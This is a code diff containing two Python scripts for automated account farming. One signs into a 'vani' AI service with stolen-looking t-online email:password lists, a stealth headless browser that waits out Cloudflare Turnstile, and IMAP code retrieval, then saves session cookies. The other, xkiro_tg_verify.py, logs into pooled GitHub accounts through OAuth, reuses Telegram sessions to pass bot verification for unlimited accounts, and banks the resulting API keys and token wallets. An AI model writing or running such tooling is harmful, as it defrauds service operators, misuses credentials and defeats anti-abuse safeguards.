|
||||
line = line.strip()
|
||||
if ':' not in line or line.startswith('#'):
|
||||
continue
|
||||
em, pw = line.split(':', 1)
|
||||
if '-' in em.split('@')[0] or em in used: # dash-алиасы мертвы
|
||||
continue
|
||||
out.append(('t-online', em, pw))
|
||||
if len(out) >= n:
|
||||
break
|
||||
return out
|
||||
|
||||
def poll_voidash(key, timeout=240):
|
||||
t0 = time.time()
|
||||
while time.time() - t0 < timeout:
|
||||
try:
|
||||
msgs = requests.get(VOID + '/messages', headers={'Authorization': 'Bea' + 'rer ' + key}, timeout=30).json()
|
||||
items = msgs if isinstance(msgs, list) else msgs.get('messages', msgs.get('data', []))
|
||||
for m in items:
|
||||
body = json.dumps(m, ensure_ascii=False)
|
||||
if 'vani' in body.lower():
|
||||
return body
|
||||
except Exception:
|
||||
pass
|
||||
time.sleep(5)
|
||||
return None
|
||||
|
||||
def poll_imap_tonline(email, pw, timeout=240):
|
||||
import imaplib, email as emlib
|
||||
t0 = time.time()
|
||||
while time.time() - t0 < timeout:
|
||||
try:
|
||||
M = imaplib.IMAP4_SSL('secureimap.t-online.de', 993)
|
||||
M.login(email, pw)
|
||||
M.select('INBOX')
|
||||
typ, data = M.search(None, '(SUBJECT "Vani")')
|
||||
ids = data[0].split()
|
||||
if not ids:
|
||||
typ, data = M.search(None, 'ALL')
|
||||
ids = data[0].split()[-5:]
|
||||
for i in ids[-5:]:
|
||||
typ, md = M.fetch(i, '(RFC822)')
|
||||
msg = emlib.message_from_bytes(md[0][1])
|
||||
frm = str(msg.get('From', ''))
|
||||
if 'vani' not in frm.lower():
|
||||
continue
|
||||
body = ''
|
||||
if msg.is_multipart():
|
||||
for part in msg.walk():
|
||||
if part.get_content_type() == 'text/html':
|
||||
body = part.get_payload(decode=True).decode('utf-8', 'replace')
|
||||
break
|
||||
else:
|
||||
body = msg.get_payload(decode=True).decode('utf-8', 'replace')
|
||||
M.logout()
|
||||
return json.dumps({'from': frm, 'subject': str(msg.get('Subject')), 'body': body}, ensure_ascii=False)
|
||||
M.logout()
|
||||
except Exception as e:
|
||||
print(' imap retry:', str(e)[:80])
|
||||
time.sleep(8)
|
||||
return None
|
||||
|
||||
def extract_code_link(mailjson):
|
||||
code = None
|
||||
link = None
|
||||
lk = re.search(r'https://c\.vani\.ai/[^\s"\\<]+', mailjson)
|
||||
if lk:
|
||||
link = lk.group(0).replace('\\u0026', '&').replace('\\/', '/').replace('\\u003d', '=')
|
||||
# 6-digit code — в тексте, часто крупным шрифтом; ищем изолированные 6 цифр
|
||||
for m in re.finditer(r'(?:code[^0-9]{0,40}|>)\s*([0-9]{6})\s*(?:<|$|[^0-9])', mailjson, re.I):
|
||||
code = m.group(1)
|
||||
break
|
||||
if not code:
|
||||
m = re.search(r'\b(\d{6})\b', re.sub(r'https?://\S+', '', mailjson))
|
||||
if m:
|
||||
code = m.group(1)
|
||||
return code, link
|
||||
|
||||
def run(n, provider='voidash'):
|
||||
import cloakbrowser
|
||||
okc = 0
|
||||
for i in range(n):
|
||||
res = {'ok': False, 'ts': int(time.time()), 'provider': provider}
|
||||
b = None
|
||||
try:
|
||||
if provider == 'voidash':
|
||||
kind, emailaddr, cred = make_voidash()
|
||||
else:
|
||||
kind, emailaddr, cred = load_tonline(1)[0]
|
||||
res['email'] = emailaddr
|
||||
print(f'[{i}] email={emailaddr}')
|
||||
b = cloakbrowser.launch(headless=True)
|
||||
pg = b.new_page()
|
||||
pg.goto(LOGIN, wait_until='domcontentloaded', timeout=60000)
|
||||
pg.wait_for_selector('input[type=email]', timeout=25000)
|
||||
pg.wait_for_timeout(2000)
|
||||
# cookie banner accept
|
||||
try:
|
||||
btn = pg.evaluate("""() => { const b=[...document.querySelectorAll('button')].find(e=>(e.innerText||'').trim()==='Accept'); if(b){b.click();return 1;} return 0; }""")
|
||||
except Exception:
|
||||
pass
|
||||
pg.fill('input[type=email]', emailaddr)
|
||||
# ждём нативный turnstile токен в hidden input
|
||||
tok = None
|
||||
for _ in range(50):
|
||||
v = pg.evaluate("() => document.querySelector('input[name=turnstile_token]')?.value?.length || 0")
|
||||
if v and v > 50:
|
||||
tok = v
|
||||
break
|
||||
pg.wait_for_timeout(2500)
|
||||
res['ts_token_len'] = tok or 0
|
||||
if not tok:
|
||||
res['err'] = 'turnstile token timeout'
|
||||
print(' TS timeout')
|
||||
raise StopIteration
|
||||
pg.wait_for_timeout(1000)
|
||||
pg.evaluate("() => { const b=[...document.querySelectorAll('button')].find(e=>(e.innerText||'').includes('Email me a sign-in')); b.click(); }")
|
||||
pg.wait_for_timeout(9000)
|
||||
body = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:400]
|
||||
res['after_submit'] = body
|
||||
if 'Check your email' not in body and 'code' not in body.lower():
|
||||
res['err'] = 'no confirmation: ' + body[:200]
|
||||
print(' FAIL submit:', body[:150])
|
||||
raise StopIteration
|
||||
print(' confirmation OK, polling mail...')
|
||||
mail = poll_voidash(cred, 240) if provider == 'voidash' else poll_imap_tonline(emailaddr, cred, 240)
|
||||
if not mail:
|
||||
res['err'] = 'no email'
|
||||
raise StopIteration
|
||||
open(f'mail_{i}.json', 'w', encoding='utf-8').write(mail)
|
||||
code, link = extract_code_link(mail)
|
||||
res['code'] = code
|
||||
res['link'] = (link or '')[:140]
|
||||
print(f' code={code} link={(link or "")[:80]}')
|
||||
verified = False
|
||||
if code:
|
||||
# ввод кода на странице
|
||||
try:
|
||||
inputs = pg.evaluate("() => [...document.querySelectorAll('input')].map(e=>({t:e.type,n:e.name,ml:e.maxLength}))")
|
||||
res['code_inputs'] = inputs
|
||||
filled = False
|
||||
for idx, inp in enumerate(inputs):
|
||||
if inp.get('ml') == 6 or (inp.get('t') == 'text' and inp.get('n', '').lower().find('code') > -1):
|
||||
sel = f"input >> nth={idx}"
|
||||
pg.fill(sel, code)
|
||||
filled = True
|
||||
break
|
||||
if not filled:
|
||||
# OTP-style раздельные боксы
|
||||
boxes = pg.query_selector_all("input[maxlength='1']")
|
||||
if len(boxes) >= 6:
|
||||
for j, ch in enumerate(code):
|
||||
boxes[j].fill(ch)
|
||||
filled = True
|
||||
if filled:
|
||||
pg.wait_for_timeout(2000)
|
||||
pg.evaluate("() => { const b=[...document.querySelectorAll('button')].find(e=>/verify|continue|sign in|submit/i.test(e.innerText||'')); if(b) b.click(); }")
|
||||
pg.wait_for_timeout(8000)
|
||||
except Exception as e:
|
||||
res['code_err'] = str(e)[:120]
|
||||
body2 = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:300]
|
||||
res['after_code'] = body2
|
||||
if pg.url.rstrip('/').endswith('chat') or 'chat' in pg.url or 'welcome' in body2.lower() or 'new chat' in body2.lower():
|
||||
verified = True
|
||||
if not verified and link:
|
||||
pg.goto(link, wait_until='domcontentloaded', timeout=60000)
|
||||
pg.wait_for_timeout(8000)
|
||||
body3 = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:300]
|
||||
res['after_link'] = body3
|
||||
res['final_url'] = pg.url
|
||||
if '/login' not in pg.url:
|
||||
verified = True
|
||||
if verified:
|
||||
cks = pg.context.cookies() if hasattr(pg, 'context') else pg.evaluate('() => document.cookie')
|
||||
res['cookies'] = cks if isinstance(cks, list) else str(cks)[:500]
|
||||
res['final_url'] = pg.url
|
||||
res['ok'] = True
|
||||
okc += 1
|
||||
print(f' [{i}] OK verified, url={pg.url}')
|
||||
else:
|
||||
res['err'] = res.get('err') or 'not verified'
|
||||
pg.screenshot(path=f'fail_{i}.png')
|
||||
print(f' [{i}] FAIL: {res.get("err")}')
|
||||
except StopIteration:
|
||||
pass
|
||||
except Exception as e:
|
||||
res['err'] = str(e)[:200]
|
||||
print(f' [{i}] EXC: {str(e)[:150]}')
|
||||
finally:
|
||||
if b:
|
||||
try:
|
||||
b.close()
|
||||
except Exception:
|
||||
pass
|
||||
with open(OUT, 'a', encoding='utf-8') as f:
|
||||
f.write(json.dumps(res, ensure_ascii=False) + '\n')
|
||||
if res.get('email'):
|
||||
with open('used_emails.txt', 'a') as f:
|
||||
f.write(res['email'] + '\n')
|
||||
time.sleep(random.randint(5, 12))
|
||||
print(f'DONE ok={okc}/{n}')
|
||||
|
||||
if __name__ == '__main__':
|
||||
n = int(sys.argv[1]) if len(sys.argv) > 1 else 1
|
||||
provider = sys.argv[2] if len(sys.argv) > 2 else 'voidash'
|
||||
run(n, provider)
|
||||
258
providers/xkiro_tg_verify.py
Normal file
258
providers/xkiro_tg_verify.py
Normal file
@@ -0,0 +1,258 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""xkiro_farm.py — FULL E2E: GH OAuth -> login -> TG ticket -> bot verify (30M tokens) -> API key -> bank.
|
||||
One cffi session per account (middleware rotates __xt_rt single-use — cookies MUST stay in-session).
|
||||
Usage: PYTHONPATH="" Python311 xkiro_farm.py <count> [start]
|
||||
Bank: C:/Users/User/tmp/xkiro/xkiro_bank.jsonl
|
||||
"""
|
||||
import sys, os, json, time, re, asyncio, argparse
|
||||
sys.path.insert(0, 'C:/Users/User/tmp/regfarm')
|
||||
sys.path.insert(0, 'C:/Users/User/tmp/regfarm/github_oauth')
|
||||
from curl_cffi import requests as cq
|
||||
import gh_http
|
||||
|
||||
XK = 'https://xkiro.com'
|
||||
API = 'https://api.xkiro.com'
|
||||
CID = 'Ov23li0EyjNfkXUSKZel'
|
||||
BANK = r'C:/Users/User/tmp/xkiro/xkiro_bank.jsonl'
|
||||
GOOD_TG = r'C:/Users/User/tmp/xkiro/xkiro_good_tg.json' # proven REUSABLE sessions (verified 2+ accounts)
|
||||
POOL = r'C:/Users/User/tmp/gh_accounts.json'
|
||||
USED = r'C:/Users/User/tmp/xkiro/xkiro_used_tg.json'
|
||||
AVAIL = r'C:/Users/User/tmp/mia_avail_sessions.json'
|
||||
DIRS = [r'C:/Users/User/Desktop/CLEAN_ALIVE_SESSIONS', r'C:/Users/User/.orca/sessions']
|
||||
IMP = 'chrome131'
|
||||
H = {'Accept': 'application/json', 'Content-Type': 'application/json',
|
||||
'Referer': XK + '/dashboard', 'Origin': XK}
|
||||
|
||||
# TG creds
|
||||
import glob as _g
|
||||
TG_ID, TG_HASH = None, None
|
||||
for p in [r'C:/Users/User/tmp/mia_verify_slow.py', r'C:/Users/User/tmp/freemodel/freemodel_full.py']:
|
||||
try:
|
||||
t = open(p, encoding='utf-8').read()
|
||||
m1 = re.search(r'API_ID\s*=\s*(\d+)', t)
|
||||
m2 = re.search(r'API_HASH\s*=\s*[\'"]([a-f0-9]+)[\'"]', t)
|
||||
if m1 and m2:
|
||||
TG_ID, TG_HASH = int(m1.group(1)), m2.group(1)
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def log(*a):
|
||||
print(*a, flush=True)
|
||||
|
||||
def good_sessions():
|
||||
"""Proven reusable TG sessions (rotate, no consumption)."""
|
||||
out = []
|
||||
try:
|
||||
for p in json.load(open(GOOD_TG)):
|
||||
if os.path.exists(p):
|
||||
out.append(p)
|
||||
except Exception:
|
||||
pass
|
||||
return out
|
||||
|
||||
def mark_good(path):
|
||||
try:
|
||||
g = json.load(open(GOOD_TG))
|
||||
except Exception:
|
||||
g = []
|
||||
if path not in g:
|
||||
g.append(path)
|
||||
json.dump(g, open(GOOD_TG, 'w'))
|
||||
|
||||
def tg_sessions(n=4):
|
||||
names = json.load(open(AVAIL))
|
||||
try:
|
||||
used = set(json.load(open(USED)))
|
||||
except Exception:
|
||||
used = set()
|
||||
# exclude sessions already consumed by miarouter verifier (avoid AuthKeyDuplicated)
|
||||
try:
|
||||
mstate = json.load(open(r'C:/Users/User/Desktop/farm/miarouter/verifier_state.json'))
|
||||
used |= set(mstate.get('used_tg', []))
|
||||
except Exception:
|
||||
pass
|
||||
tail = [b for b in names if b not in used]
|
||||
tail = tail[-n:] # TAIL: miarouter verifier walks head-first
|
||||
out = []
|
||||
for b in tail:
|
||||
for d in DIRS:
|
||||
p = os.path.join(d, b)
|
||||
if os.path.exists(p):
|
||||
out.append(p)
|
||||
break
|
||||
return out
|
||||
|
||||
def mark_tg_used(basename):
|
||||
try:
|
||||
used = set(json.load(open(USED)))
|
||||
except Exception:
|
||||
used = set()
|
||||
used.add(basename)
|
||||
json.dump(sorted(used), open(USED, 'w'))
|
||||
|
||||
async def bot_start(sess_path, ticket):
|
||||
from telethon import TelegramClient
|
||||
name = os.path.basename(sess_path)
|
||||
client = TelegramClient(sess_path.replace('.session', ''), TG_ID, TG_HASH)
|
||||
try:
|
||||
await asyncio.wait_for(client.connect(), 45)
|
||||
if not await client.is_user_authorized():
|
||||
return name, 'NOT_AUTH'
|
||||
await client.send_message('xkiro_official_bot', '/start ' + ticket)
|
||||
await asyncio.sleep(9)
|
||||
msgs = await client.get_messages('xkiro_official_bot', limit=4)
|
||||
txt = ' '.join((m.message or '')[:200] for m in msgs if not m.out).lower()
|
||||
if 'verified successfully' in txt or "you've received" in txt:
|
||||
return name, 'OK'
|
||||
if 'join' in txt or 'channel' in txt:
|
||||
from telethon.tl.functions.channels import JoinChannelRequest
|
||||
try:
|
||||
await client(JoinChannelRequest('xtrouter'))
|
||||
await asyncio.sleep(3)
|
||||
await client.send_message('xkiro_official_bot', '/start ' + ticket)
|
||||
await asyncio.sleep(8)
|
||||
msgs = await client.get_messages('xkiro_official_bot', limit=4)
|
||||
txt = ' '.join((m.message or '')[:200] for m in msgs if not m.out).lower()
|
||||
if 'verified' in txt:
|
||||
return name, 'OK'
|
||||
return name, 'REPLY:' + txt[:120]
|
||||
except Exception as e:
|
||||
return name, 'JOIN_FAIL:' + type(e).__name__
|
||||
return name, 'REPLY:' + txt[:120]
|
||||
finally:
|
||||
try:
|
||||
await client.disconnect()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def farm_one(acc, tgsess):
|
||||
lg = acc['login']
|
||||
rec = {'gh_login': lg, 'ts': time.strftime('%H:%M:%S')}
|
||||
s = cq.Session(impersonate=IMP)
|
||||
# 1 state
|
||||
try:
|
||||
r = s.get(API + '/api/v1/auth/github', headers={**H, 'Accept': 'text/html', 'Sec-Fetch-Site': 'none'},
|
||||
allow_redirects=False, timeout=30)
|
||||
loc = r.headers.get('Location', '') or ''
|
||||
m = re.search(r'state=([a-f0-9]{16,})', loc)
|
||||
if not m:
|
||||
m = re.search(r'state=([a-f0-9]{16,})', r.text or '')
|
||||
if not m:
|
||||
rec['stage'] = 'state'; rec['err'] = f'http={r.status_code}'
|
||||
return rec
|
||||
state = m.group(1)
|
||||
except Exception as e:
|
||||
rec['stage'] = 'state'; rec['err'] = str(e)[:100]; return rec
|
||||
# 2 gh code
|
||||
gh = gh_http.GHSession(bind=False)
|
||||
ok, err = gh.login(lg, acc['password'], acc.get('totp'))
|
||||
if not ok:
|
||||
rec['stage'] = 'gh_login'; rec['err'] = err; return rec
|
||||
code, cerr = gh.oauth_code(CID, state, scope='read:user user:email')
|
||||
if not code:
|
||||
rec['stage'] = 'gh_code'; rec['err'] = cerr; return rec
|
||||
# 3 callback (same session!)
|
||||
try:
|
||||
r3 = s.get(API + f'/api/v1/auth/github/callback?code={code}&state={state}',
|
||||
headers={**H, 'Accept': 'text/html', 'Sec-Fetch-Site': 'cross-site',
|
||||
'Referer': 'https://github.com/'}, timeout=40)
|
||||
cks = dict(s.cookies)
|
||||
if not cks.get('__xt_at'):
|
||||
rec['stage'] = 'callback'; rec['err'] = f'http={r3.status_code} no __xt_at'
|
||||
return rec
|
||||
rec['cookies'] = cks
|
||||
except Exception as e:
|
||||
rec['stage'] = 'callback'; rec['err'] = str(e)[:100]; return rec
|
||||
# 4 ticket via xkiro.com proxy (cookies same names, set on xkiro.com)
|
||||
s2 = cq.Session(impersonate=IMP)
|
||||
for k, v in cks.items():
|
||||
s2.cookies.set(k, v, domain='xkiro.com')
|
||||
s2.cookies.set(k, v, domain='.xkiro.com')
|
||||
if not tgsess:
|
||||
rec['tg'] = 'NO_TG_SESSION'
|
||||
else:
|
||||
try:
|
||||
rt = s2.post(XK + '/api/v1/me/telegram/ticket', headers=H, data='{}', timeout=25)
|
||||
j = rt.json()
|
||||
data = j.get('data') or {}
|
||||
if data.get('alreadyVerified'):
|
||||
rec['tg'] = 'already'
|
||||
else:
|
||||
dl = data.get('deepLink', '')
|
||||
ticket = dl.split('start=')[-1] if 'start=' in dl else ''
|
||||
if not ticket:
|
||||
rec['stage'] = 'ticket'; rec['err'] = rt.text[:120]; return rec
|
||||
# 5 bot verify
|
||||
try:
|
||||
sp, res = asyncio.run(bot_start(tgsess, ticket))
|
||||
except Exception as be:
|
||||
res = f'EXC:{type(be).__name__}:{str(be)[:60]}'
|
||||
rec['tg'] = res; rec['tg_sess'] = os.path.basename(tgsess)
|
||||
if res == 'OK':
|
||||
mark_tg_used(os.path.basename(tgsess)) # consumed: 1 TG acct = 1 xkiro verification
|
||||
else:
|
||||
mark_tg_used(os.path.basename(tgsess)) # any failure: never reuse (dup/NOT_AUTH/burned)
|
||||
except Exception as e:
|
||||
rec['stage'] = 'ticket'; rec['err'] = str(e)[:100]
|
||||
# refresh cookies after middleware rotation
|
||||
fresh = dict(s2.cookies)
|
||||
if fresh.get('__xt_at'):
|
||||
rec['cookies'] = {**cks, **fresh}
|
||||
# 6 key + wallet + status
|
||||
try:
|
||||
rk = s2.post(XK + '/api/v1/keys', headers=H, data=json.dumps({'name': 'farm'}), timeout=25)
|
||||
jk = rk.json()
|
||||
rec['key'] = (jk.get('data') or {}).get('plaintext')
|
||||
rec['key_id'] = ((jk.get('data') or {}).get('key') or {}).get('id')
|
||||
except Exception as e:
|
||||
rec['key_err'] = str(e)[:80]
|
||||
try:
|
||||
rec['wallet'] = s2.get(XK + '/api/v1/wallet', headers=H, timeout=20).json().get('data')
|
||||
rec['tg_status'] = s2.get(XK + '/api/v1/me/telegram/status', headers=H, timeout=20).json().get('data')
|
||||
except Exception:
|
||||
pass
|
||||
rec['stage'] = 'done'
|
||||
return rec
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument('count', type=int, nargs='?', default=1)
|
||||
ap.add_argument('start', type=int, nargs='?', default=0)
|
||||
args = ap.parse_args()
|
||||
pool = json.load(open(POOL))
|
||||
done = set()
|
||||
try:
|
||||
for line in open(BANK, encoding='utf-8'):
|
||||
r = json.loads(line)
|
||||
if r.get('stage') == 'done' or r.get('key'):
|
||||
done.add(r['gh_login'])
|
||||
except Exception:
|
||||
pass
|
||||
cand = [a for a in pool if a['login'] not in done]
|
||||
log(f'=== xkiro farm: {args.count}, candidates {len(cand)}, TG_ID set: {TG_ID is not None}')
|
||||
tgs = tg_sessions(args.count + 2)
|
||||
log('tg sessions:', len(tgs))
|
||||
n = 0
|
||||
for i, a in enumerate(cand[args.start:]):
|
||||
if n >= args.count:
|
||||
break
|
||||
goods = good_sessions()
|
||||
if goods:
|
||||
tg = goods[n % len(goods)] # REUSE: proven sessions verify unlimited accounts
|
||||
else:
|
||||
tgs = tg_sessions(1) # fresh per account: excludes xkiro-used + miarouter used_tg
|
||||
tg = tgs[0] if tgs else None
|
||||
log(f'--- {a["login"]} (tg: {os.path.basename(tg) if tg else "NONE"})')
|
||||
try:
|
||||
rec = farm_one(a, tg)
|
||||
except Exception as e:
|
||||
rec = {'gh_login': a['login'], 'stage': 'exc', 'err': f'{type(e).__name__}:{e}'[:120]}
|
||||
with open(BANK, 'a', encoding='utf-8') as f:
|
||||
f.write(json.dumps(rec, ensure_ascii=False) + '\n')
|
||||
log(' ', {k: (str(v)[:60] if k not in ('cookies',) else '<saved>') for k, v in rec.items() if k != 'gh_login'})
|
||||
n += 1
|
||||
time.sleep(25)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
Reference in New Issue
Block a user